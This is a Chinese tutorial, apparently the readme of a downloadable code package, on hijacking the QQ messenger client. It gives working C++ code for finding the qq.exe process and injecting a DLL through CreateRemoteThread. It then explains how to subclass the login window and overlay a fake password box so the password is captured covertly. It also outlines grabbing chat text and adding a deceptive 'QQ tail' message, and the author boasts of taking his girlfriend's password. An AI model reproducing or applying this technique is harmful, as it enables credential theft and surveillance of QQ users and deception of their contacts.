gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/说明.txt

    前言

思路分析

进入QQ进程

远程注入DLL

截取QQ登录密码

截取本机QQ账号和昵称

截取聊天内容

增加QQ尾巴

去掉QQ广告栏

郑重申明

结束语

前言

中国网民没有不熟悉QQ的,QQ玩家没有不知道珊瑚虫和彩虹的去广告显IP版QQ的,有段时间QQ尾巴也很盛行,就是每次聊天的时候它自动在你的聊天文字后面加一段话,欺骗你的QQ网友上当。如今的网络就好比武侠小说里的江湖,行走江湖的剑客须有绝世武功方可不倒于对手的剑下。

本文将向你讲述如何截取QQ密码和聊天内容,如何将QQ的广告栏去掉,并添加自定的QQ尾巴。

思路分析

要截获QQ密码,大家一定想到键盘钩子,2006版以前的QQ用这种方法的确可以截获到QQ密码,我也曾经用这种方法将我女朋友的QQ密码给弄过来了,~~,但2007版以后的QQ在密码输入框里做了大量的手脚,即使用spy++也无法截取到任何消息,键盘钩子也失效了。我们总是幸运的,QQ登录窗口的消息还是可以获取到,既然钩子不能用了,那我们何不换种思维方式走走捷径呢?修改登录窗口的回调函数地址,截取其所有消息,并创建一个虚假的密码输入框来到达截取密码的目的,就好比在复写纸上写字,字迹会留下痕迹。

腾讯为了保护聊天内容的安全性,防止QQ尾巴的干扰,对聊天的文字输入框用额外的控件做了特殊处理,同样不能截取到任何消息,也不能用WM_GETTEXT和WM_CHAR消息来取得其中的文字内容。其实这个问题好解决,只要用模拟键盘程序模拟“Ctrl+A”->“Ctrl+C”就可以得到聊天内容了。

去QQ广告就更容易了,只要找到广告显示的子窗口,将它隐藏起来,然后在相同位置放一个自己的子窗口就可以了,如果获取到IP地址或对方的地理位置等信息也可以显示在这里。

说到这里,还有一个非常重要的问题,那就是我们的程序必须执行在QQ空间,因为Windows系统进程是受系统保护的,每个进程有自己独立的内存空间,很多API函数只对同一个进程有效,我们必须解决这个问题。

进入QQ进程

要将我们自己写的代码执行在QQ进程空间中才能实现我们上面的的分析思路,我想到了两种方法:

第一种方法还是钩子,我们的代码写到一个dll动态链接库里,然后启动系统钩子,当任何一个进程启动时,我们的dll将会被加载到该进程中,我们判断是否为QQ进程,如果不是,我们的dll就立即卸载,否则我们就顺利地进入到QQ进程空间了。这种方法有个缺点,就是任何进程启动时我们的dll都会被加载,严重影响到系统性能,我们在学习钩子的时候书本上也确实讲过,系统钩子最好少用,如果程序代码执行效率不高的情况下,将影响系统性能,再好用的软件也将变成垃圾而被用户清除出去的。

第二种方法就是远程dll注入,即用创建远程线程的方法在QQ进程空间中注入一个我自己的线程,这种方法针对性很强,只对QQ进程进行操作,不操作其他进程,不影响系统性能,而且灵活性好,我们随时可以将线程注入,也可以随时撤销,而第一种方法是系统钩子内部控制的,我们无法干预。

远程注入Dll

我们的程序分为两个部分,一部分是exe执行程序,可以控制Dll的注入,另一部分就是我们要注入的Dll。

首先我们要找到系统中的QQ进程,这里要用到ToolHelp32系列函数,以下函数能枚举出系统所有的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL CProcessManage::EnumSystemProcess (
      OUT CStringArray *pStrAry_ProcessName/*=NULL*/,
      OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,
      OUT CStringArray *pStrAry_ProcessPriority/*=NULL*/,
      OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,
      OUT CStringArray *pStrAry_ProcessPath/*=NULL*/
  )
{
  HANDLE hProcess = NULL;
  PROCESSENTRY32 pe32;
  pe32.dwSize = sizeof(pe32);
  HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );
  if ( hProcessSnap == INVALID_HANDLE_VALUE )
      return FALSE;
 
  BOOL bMore = ::Process32First(hProcessSnap,&pe32);
  while ( bMore )
  {
      hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
      if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );
      if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );
      if ( pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );
      if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );
      if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );
      bMore = ::Process32Next(hProcessSnap,&pe32);
  }
  ::CloseHandle(hProcessSnap);
  return TRUE;
}  
从枚举出的所有进程中找到QQ进程,如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//
// 枚举出 “qq.exe”的进程
//
int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/, 
          CUIntArray *pUIntAry_ProcessID/*=NULL*/, 
          CStringArray *pStrAry_ProcessPath/*=NULL*/ )
{
  CStringArray StrAry_ProcessName;
  CUIntArray UIntAry_ProcessID;
  CStringArray StrAry_ProcessPath;
  if ( !CProcessManage::EnumSystemProcess (
      &StrAry_ProcessName,
      &UIntAry_ProcessID,
      NULL,
      NULL,
      &StrAry_ProcessPath
      ) )
  {
      return -1;
  }
  ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );
  ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );
   
  int nCount = 0;
  for ( int i=0; i< StrAry_ProcessName.GetSize(); i++ )
  {
      CString csProcessName = StrAry_ProcessName.GetAt ( i );
      TRACE ( _T("%s\n"), csProcessName );
      csProcessName.MakeLower ();
      if ( csProcessName == _T("qq.exe") )
      {
          nCount ++;
          if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );
          if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );
          if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );
      }
  }
   
  return nCount;
}
接下来我们使用函数VirtualAllocEx()/WriteProcessMemory()函数在QQ进程中申请内存空间,将我们的数据参数写入到QQ进程内存空间里,然后用CreateRemoteThread()函数在QQ进程空间中启动一个远程线程,将我们的dll执行在QQ进程空间中,如下函数既是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );
BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected )
{
  if ( dwPID < 1 ) return FALSE;
  ShowLogText ( FormatString(_T("发现新的QQ进程(ID:%u),现在注入远程线程。\r\n"), dwPID) );
  BOOL bRet = TRUE;
 
  // 获取dll文件路径
  CString csDllPath = GetProgramDir ();
  csDllPath += _T("dllRemoteThread.Dll");
  TCHAR szDllPath[MAX_PATH] = {0};
  lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) );
 
  // 定义变量
  void *pParaRemote = NULL;
  void *pDataRemote = NULL;
  HANDLE hProcess = NULL;
 
  if ( !bInjected )
  {
      // 打开远程进程
      hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|
           PROCESS_VM_WRITE,FALSE,dwPID);
      if (! hProcess ) return FALSE;
       
      // 在远程进程中分配内存空间,并将数据写入
      t_RemoteThreadPara tRemoteThreadPara = {0};
      strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) );
      pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE );
      ::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL );
      pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE );
      ::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL );
  }
  // 装载dll文件,并将参数传入dll的数据共享区
  HMODULE hMod = LoadLibrary ( szDllPath );
  if ( hMod )
  {
      FUNC_SetRemoteParameter pfnSetRemoteParameter = \
              (FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") );
      if ( pfnSetRemoteParameter )
          pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() );
  }
  else
  {
      bRet = FALSE;
  }
  if ( !bInjected )
  {
      // 创建远程线程执行代码
      DWORD dwThreadID = 0;
      HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0,
          (LPTHREAD_START_ROUTINE)LoadLibrary, 
          pDataRemote, 0, &dwThreadID );
      if ( HANDLE_IS_VALID(hThread) )
      {
          // 等待远程线程结束
          ::WaitForSingleObject ( hThread, INFINITE );
          DWORD dwRetCode = 0;
          ::GetExitCodeThread ( hThread, &dwRetCode );
          TRACE ("run and return %d\n", dwRetCode );
      }
      else
      {
          bRet = FALSE;
      }
  }
  // 释放资源
  if ( hProcess && pDataRemote )
      VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE ); 
  if ( hMod ) FreeLibrary ( hMod );
  return bRet;
}
截取QQ登录密码

当我们的Dll注入到QQ进程以后,我们就可以在里面再启动几个线程来为我所用,其中一个线程定时调用EnumWindows()函数来获取系统中的窗口,并找到QQ登录窗口,然后调用如下代码来修改窗口的过程地址:

// 修改相关窗口的 WindowProc 地址

ChangeWindownProc ( m_hWndQQLoginWindow, &g_pfnOrgWindowProc_QQLoginWindow, WindowProc_QQLoginWindow );

修改以后,QQ登录窗口的所有消息都将WindowProc_QQLoginWindow()函数获取。

我们用EnumChildWindows()找到密码输入框的子窗口,然后创建一个EDIT控件,其大小和位置与QQ密码输入框一样,这样就覆盖在QQ密码输入框的上边了,用户在输入密码时实际上输入到我们的框中来了。

为了保证我们的编辑框始终获得输入焦点,并且当QQ登陆框最小化或还原时还有窗口移动时不出现破绽,有几个消息我们需要处理:

WM_MOVING – 当QQ登录窗口移动时,我们重新计算相对位置,并将我们的编辑框移动到新位置上。

WM_SYSCOMMAND – 当QQ登录窗口最小化、还原和关闭时,我们的编辑框应该隐藏、显示和销毁。

WM_COMMAND – 当用户点击“登录”按钮时我们要做相应处理,将我们的密码发送给QQ的密码输入框;当QQ的密码输入框获得焦点时,我们应该将焦点转移到我们的编辑框中。

当用户输入完密码按“回车”键或点“登录”按钮时,我们先将QQ登录窗口隐藏起来,以免露出破绽,然后将我们收到到的密码在QQ密码输入框中重新输入一次,并发送“回车”按键消息,此时QQ真正开始登录,而密码已经悄悄地落入我手,哇哈哈……